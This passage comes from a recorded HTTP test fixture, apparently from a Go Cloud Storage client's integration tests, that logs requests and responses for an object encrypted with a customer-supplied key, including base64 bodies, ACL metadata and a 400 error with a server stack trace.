VDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDozNS4wNThaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjQ6MzYuMjI1WiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI0OjM1LjA1OFoiLCJzaXplIjoiMTEiLCJtZDVIYXNoIjoieHdXTkZhMFZkWFBtbEF3cmxjQUpjZz09IiwibWVkaWFMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vZG93bmxvYWQvc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL2N1c3RvbWVyLWVuY3J5cHRpb24/Z2VuZXJhdGlvbj0xNTU2ODM1ODc1MDU4NjgwJmFsdD1tZWRpYSIsImNvbnRlbnRMYW5ndWFnZSI6ImVuIiwiYWNsIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvY3VzdG9tZXItZW5jcnlwdGlvbi8xNTU2ODM1ODc1MDU4NjgwL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL2N1c3RvbWVyLWVuY3J5cHRpb24vYWNsL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6ImN1c3RvbWVyLWVuY3J5cHRpb24iLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg3NTA1ODY4MCIsImVudGl0eSI6InByb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJPV05FUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoib3duZXJzIn0sImV0YWciOiJDUGpudWNyeC9lRUNFQU09In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvY3VzdG9tZXItZW5jcnlwdGlvbi8xNTU2ODM1ODc1MDU4NjgwL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9jdXN0b21lci1lbmNyeXB0aW9uL2FjbC9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwib2JqZWN0IjoiY3VzdG9tZXItZW5jcnlwdGlvbiIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODc1MDU4NjgwIiwiZW50aXR5IjoicHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJPV05FUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoiZWRpdG9ycyJ9LCJldGFnIjoiQ1BqbnVjcngvZUVDRUFNPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL2N1c3RvbWVyLWVuY3J5cHRpb24vMTU1NjgzNTg3NTA1ODY4MC9wcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vY3VzdG9tZXItZW5jcnlwdGlvbi9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6ImN1c3RvbWVyLWVuY3J5cHRpb24iLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg3NTA1ODY4MCIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDUGpudWNyeC9lRUNFQU09In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvY3VzdG9tZXItZW5jcnlwdGlvbi8xNTU2ODM1ODc1MDU4NjgwL3VzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9jdXN0b21lci1lbmNyeXB0aW9uL2FjbC91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwib2JqZWN0IjoiY3VzdG9tZXItZW5jcnlwdGlvbiIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODc1MDU4NjgwIiwiZW50aXR5IjoidXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsInJvbGUiOiJPV05FUiIsImVtYWlsIjoiYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJldGFnIjoiQ1BqbnVjcngvZUVDRUFNPSJ9XSwib3duZXIiOnsiZW50aXR5IjoidXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSJ9LCJjcmMzMmMiOiJyME5Hcmc9PSIsImV0YWciOiJDUGpudWNyeC9lRUNFQU09IiwiY3VzdG9tZXJFbmNyeXB0aW9uIjp7ImVuY3J5cHRpb25BbGdvcml0aG0iOiJBRVMyNTYiLCJrZXlTaGEyNTYiOiJIK0xtblhoUm9lSTZUTVc1YnNWNkh5VWs2cHlHYzJJTWJxWWJBWEJjcHMwPSJ9fQ==" - } - }, - { - "ID": "fb1e502029272329", - "Request": { - "Method": "GET", - "URL": "https://storage.googleapis.com/go-integration-test-20190502-80633403432013-0001/customer-encryption", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "Go-http-client/1.1" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 400, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0" - ], - "Content-Length": [ - "277" - ], - "Content-Type": [ - "application/xml; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:36 GMT" - ], - "Expires": [ - "Thu, 02 May 2019 22:24:36 GMT" - ], - "Server": [ - "UploadServer" - ], - "X-Guploader-Customer": [ - "cloud-storage" - ], - "X-Guploader-Request-Result": [ - "agent_rejected" - ], - "X-Guploader-Upload-Result": [ - "agent_rejected" - ], - "X-Guploader-Uploadid": [ - "AEnB2Urm5pF1ghApp-RiVg_TAipd-LdTbF-hcDPcVRYbmj7KUIQxnsMUF5WOcrMA1t7ZltdvPZhyfsELISuH6DGJlUUedaCNH-B5j580GjBYLUKCwmAADeM" - ] - }, - "Body": "PD94bWwgdmVyc2lvbj0nMS4wJyBlbmNvZGluZz0nVVRGLTgnPz48RXJyb3I+PENvZGU+UmVzb3VyY2VJc0VuY3J5cHRlZFdpdGhDdXN0b21lckVuY3J5cHRpb25LZXk8L0NvZGU+PE1lc3NhZ2U+VGhlIHJlc291cmNlIGlzIGVuY3J5cHRlZCB3aXRoIGEgY3VzdG9tZXIgZW5jcnlwdGlvbiBrZXkuPC9NZXNzYWdlPjxEZXRhaWxzPlRoZSByZXF1ZXN0ZWQgb2JqZWN0IGlzIGVuY3J5cHRlZCBieSBhIGN1c3RvbWVyLXN1cHBsaWVkIGVuY3J5cHRpb24ga2V5LjwvRGV0YWlscz48L0Vycm9yPg==" - } - }, - { - "ID": "c151ba4fab0c6499", - "Request": { - "Method": "GET", - "URL": "https://storage.googleapis.com/go-integration-test-20190502-80633403432013-0001/customer-encryption", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "Go-http-client/1.1" - ], - "X-Goog-Encryption-Algorithm": [ - "AES256" - ], - "X-Goog-Encryption-Key": [ - "CLEARED" - ], - "X-Goog-Encryption-Key-Sha256": [ - "H+LmnXhRoeI6TMW5bsV6HyUk6pyGc2IMbqYbAXBcps0=" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Accept-Ranges": [ - "bytes" - ], - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Language": [ - "en" - ], - "Content-Length": [ - "11" - ], - "Content-Type": [ - "text/plain; charset=utf-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:36 GMT" - ], - "Etag": [ - "\"-CPjnucrx/eECEAM=\"" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Last-Modified": [ - "Thu, 02 May 2019 22:24:35 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "X-Goog-Encryption-Algorithm": [ - "AES256" - ], - "X-Goog-Encryption-Key-Sha256": [ - "H+LmnXhRoeI6TMW5bsV6HyUk6pyGc2IMbqYbAXBcps0=" - ], - "X-Goog-Expiration": [ - "Sat, 01 Jun 2019 22:24:35 GMT" - ], - "X-Goog-Generation": [ - "1556835875058680" - ], - "X-Goog-Hash": [ - "crc32c=r0NGrg==", - "md5=xwWNFa0VdXPmlAwrlcAJcg==" - ], - "X-Goog-Metageneration": [ - "3" - ], - "X-Goog-Storage-Class": [ - "STANDARD" - ], - "X-Goog-Stored-Content-Encoding": [ - "identity" - ], - "X-Goog-Stored-Content-Length": [ - "11" - ], - "X-Guploader-Customer": [ - "cloud-storage" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Ur68mIGQ8VAtTRZs4F6ixZZYKcqe1oTqWHWqmp7gNF-81XKf2xX6eS4PcegbKx7bYnb4i6dzTCoLlbaJRNHwwLVzNbYMkGNy_bTHbWYTgtlBSKVtWs" - ] - }, - "Body": "dG9wIHNlY3JldC4=" - } - }, - { - "ID": "e09c6326cc60ad82", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o/customer-encryption/rewriteTo/b/go-integration-test-20190502-80633403432013-0001/o/customer-encryption-2?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "3" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "e30K" - ] - }, - "Response": { - "StatusCode": 400, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Content-Length": [ - "12563" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:36 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "agent_rejected" - ], - "X-Guploader-Upload-Result": [ - "agent_rejected" - ], - "X-Guploader-Uploadid": [ - "AEnB2UqldLQvGKuu2fihIdwh7CvU7W0yE3vUXu8jqefTPSMhlGgvR1EfeYFqjk_Zxj7fEpv7AjugvHnn1DmkJxJWhrZyM8b5gS4uJID92D_018h2YHH1r30" - ] - }, - "Body": "eyJlcnJvciI6eyJlcnJvcnMiOlt7ImRvbWFpbiI6Imdsb2JhbCIsInJlYXNvbiI6InJlc291cmNlSXNFbmNyeXB0ZWRXaXRoQ3VzdG9tZXJFbmNyeXB0aW9uS2V5IiwibWVzc2FnZSI6IlRoZSB0YXJnZXQgb2JqZWN0IGlzIGVuY3J5cHRlZCBieSBhIGN1c3RvbWVyLXN1cHBsaWVkIGVuY3J5cHRpb24ga2V5LiIsImV4dGVuZGVkSGVscCI6Imh0dHBzOi8vY2xvdWQuZ29vZ2xlLmNvbS9zdG9yYWdlL2RvY3MvZW5jcnlwdGlvbiNjdXN0b21lci1zdXBwbGllZF9lbmNyeXB0aW9uX2tleXMiLCJkZWJ1Z0luZm8iOiJjb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6UkVTT1VSQ0VfSVNfRU5DUllQVEVEX1dJVEhfQ1VTVE9NRVJfRU5DUllQVElPTl9LRVlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLm9iamVjdHMuUmV3cml0ZU9iamVjdC5yZXdyaXRlKFJld3JpdGVPYmplY3QuamF2YToyMDApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMub2JqZWN0cy5SZXdyaXRlT2JqZWN0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChSZXdyaXRlT2JqZWN0LmphdmE6MTkzKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLm9iamVjdHMuUmV3cml0ZU9iamVjdC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmV3cml0ZU9iamVjdC5qYXZhOjQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5PYmplY3RzRGVsZWdhdG9yLnJld3JpdGUoT2JqZWN0c0RlbGVnYXRvci5qYXZhOjEyMSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uUnBjUmVjZWl2ZXIubGFtYmRhJHByb2Nlc3NSZXF1ZXN0QXN5bmMkNChScGNSZWNlaXZlci5qYXZhOjIwMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uQXN5bmNFeGVjdXRvci5sYW1iZGEkc3VibWl0JDAoQXN5bmNFeGVjdXRvci5qYXZhOjI1Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KENvbnRleHRSdW5uYWJsZS5qYXZhOjUwKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZSQxLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozOSlcblx0YXQgaW8uZ3JwYy5Db250ZXh0LnJ1bihDb250ZXh0LmphdmE6NTY1KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuQ3VycmVudENvbnRleHQucnVuSW5Db250ZXh0KEN1cnJlbnRDb250ZXh0LmphdmE6MjA0KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHROb1VucmVmKEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo3Milcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo2NClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM1KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IucnVuV29ya2VyKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjExNDkpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvciRXb3JrZXIucnVuKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjYyNClcblx0YXQgamF2YS5sYW5nLlRocmVhZC5ydW4oVGhyZWFkLmphdmE6NzQ4KVxuQ2F1c2VkIGJ5OiBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbjogXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE4IG1vcmVcblxuY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUuRmF1bHQ6IEltbXV0YWJsZUVycm9yRGVmaW5pdGlvbntiYXNlPUlOVkFMSURfVkFMVUUsIGNhdGVnb3J5PVVTRVJfRVJST1IsIGNhdXNlPW51bGwsIGRlYnVnSW5mbz1jb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6UkVTT1VSQ0VfSVNfRU5DUllQVEVEX1dJVEhfQ1VTVE9NRVJfRU5DUllQVElPTl9LRVlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLm9iamVjdHMuUmV3cml0ZU9iamVjdC5yZXdyaXRlKFJld3JpdGVPYmplY3QuamF2YToyMDApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMub2JqZWN0cy5SZXdyaXRlT2JqZWN0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChSZXdyaXRlT2JqZWN0LmphdmE6MTkzKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLm9iamVjdHMuUmV3cml0ZU9iamVjdC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmV3cml0ZU9iamVjdC5qYXZhOjQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5PYmplY3RzRGVsZWdhdG9yLnJld3JpdGUoT2JqZWN0c0RlbGVnYXRvci5qYXZhOjEyMSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uUnBjUmVjZWl2ZXIubGFtYmRhJHByb2Nlc3NSZXF1ZXN0QXN5bmMkNChScGNSZWNlaXZlci5qYXZhOjIwMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uQXN5bmNFeGVjdXRvci5sYW1iZGEkc3VibWl0JDAoQXN5bmNFeGVjdXRvci5qYXZhOjI1Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KENvbnRleHRSdW5uYWJsZS5qYXZhOjUwKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZSQxLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozOSlcblx0YXQgaW8uZ3JwYy5Db250ZXh0LnJ1bihDb250ZXh0LmphdmE6NTY1KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuQ3VycmVudENvbnRleHQucnVuSW5Db250ZXh0KEN1cnJlbnRDb250ZXh0LmphdmE6MjA0KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHROb1VucmVmKEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo3Milcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo2NClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM1KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IucnVuV29ya2VyKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjExNDkpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvciRXb3JrZXIucnVuKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjYyNClcblx0YXQgamF2YS5sYW5nLlRocmVhZC5ydW4oVGhyZWFkLmphdmE6NzQ4KVxuQ2F1c2VkIGJ5OiBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbjogXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE4IG1vcmVcbiwgZG9tYWluPWdsb2JhbCwgZXh0ZW5kZWRIZWxwPWh0dHBzOi8vY2xvdWQuZ29vZ2xlLmNvbS9zdG9yYWdlL2RvY3MvZW5jcnlwdGlvbiNjdXN0b21lci1zdXBwbGllZF9lbmNyeXB0aW9uX2tleXMsIGh0dHBIZWFkZXJzPXt9LCBodHRwU3RhdHVzPWJhZFJlcXVlc3QsIGludGVybmFsUmVhc29uPVJlYXNvbnthcmd1bWVudHM9e30sIGNhdXNlPW51bGwsIGNvZGU9Y2xvdWQuYmlnc3RvcmUuYXBpLkJpZ3N0b3JlRXJyb3JEb21haW4uUkVTT1VSQ0VfSVNfRU5DUllQVEVEX1dJVEhfQ1VTVE9NRVJfRU5DUllQVElPTl9LRVksIGNyZWF0ZWRCeUJhY2tlbmQ9dHJ1ZSwgZGVidWdNZXNzYWdlPWNvbS5nb29nbGUubmV0LnJwYzMuUnBjRXhjZXB0aW9uOiBjbG91ZC5iaWdzdG9yZS5SZXNwb25zZUNvZGUuRXJyb3JDb2RlOjpSRVNPVVJDRV9JU19FTkNSWVBURURfV0lUSF9DVVNUT01FUl9FTkNSWVBUSU9OX0tFWVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50b1JwYzNFeGNlcHRpb24oQmlnc3RvcmVFeGNlcHRpb24uamF2YToxNDcpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMub2JqZWN0cy5SZXdyaXRlT2JqZWN0LnJld3JpdGUoUmV3cml0ZU9iamVjdC5qYXZhOjIwMClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5vYmplY3RzLlJld3JpdGVPYmplY3QuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJld3JpdGVPYmplY3QuamF2YToxOTMpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMub2JqZWN0cy5SZXdyaXRlT2JqZWN0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChSZXdyaXRlT2JqZWN0LmphdmE6NDcpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChSZXF1ZXN0SGFuZGxlci5qYXZhOjMxMClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlKFJlcXVlc3RIYW5kbGVyLmphdmE6MjU2KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLk9iamVjdHNEZWxlZ2F0b3IucmV3cml0ZShPYmplY3RzRGVsZWdhdG9yLmphdmE6MTIxKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3